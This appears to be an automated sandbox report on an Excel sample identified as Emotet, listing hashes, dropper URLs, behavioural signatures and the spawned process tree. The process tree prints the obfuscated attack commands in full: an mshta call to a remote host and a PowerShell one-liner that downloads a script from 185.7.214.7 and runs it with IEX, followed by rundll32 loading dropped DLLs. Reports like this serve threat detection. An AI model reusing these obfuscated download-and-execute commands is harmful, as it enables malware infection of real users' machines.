Analysis

  • max time kernel
    121s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    17/01/2022, 22:55

General

  • Target
    a1a5f1d58cb7176ce30a3e4182332173.xls
  • Size 128KB
  • Sample220117-2v5epseack
  • SHA256 f93414304904cf04ee75d5594bbd6b17a29aeea92d9e719a3e53ae25e077c08a
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/cc.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/PP91.PNG

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a1a5f1d58cb7176ce30a3e4182332173.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:668
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1488
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1048
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2032
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1312
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:960
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tsrrmo\ltaeijzp.ebw",JMRcRvF
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:820
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tsrrmo\ltaeijzp.ebw",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1640

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/820-93-0x0000000000261000-0x0000000000283000-memory.dmp

        memory/960-89-0x0000000002421000-0x0000000002443000-memory.dmp

        memory/960-79-0x00000000002B1000-0x00000000002D3000-memory.dmp

        memory/960-87-0x0000000000E51000-0x0000000000E73000-memory.dmp

        memory/960-85-0x0000000000A51000-0x0000000000A73000-memory.dmp

        memory/960-83-0x0000000000971000-0x0000000000993000-memory.dmp

        memory/960-81-0x0000000000411000-0x0000000000433000-memory.dmp

        memory/1048-62-0x00000000023A0000-0x0000000002FEA000-memory.dmp

        memory/1048-61-0x0000000075F91000-0x0000000075F93000-memory.dmp

        memory/1312-71-0x0000000000271000-0x0000000000293000-memory.dmp

        memory/1312-72-0x0000000000293000-0x0000000000294000-memory.dmp

        memory/1640-101-0x0000000000AB1000-0x0000000000AD3000-memory.dmp

        memory/1640-97-0x00000000007B1000-0x00000000007D3000-memory.dmp

        memory/1640-103-0x0000000000C51000-0x0000000000C73000-memory.dmp

        memory/1640-105-0x0000000000E21000-0x0000000000E43000-memory.dmp

        memory/1700-55-0x000000002F9F1000-0x000000002F9F4000-memory.dmp

        memory/1700-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1700-56-0x0000000071511000-0x0000000071513000-memory.dmp

        memory/1700-109-0x000000005FFF0000-0x0000000060000000-memory.dmp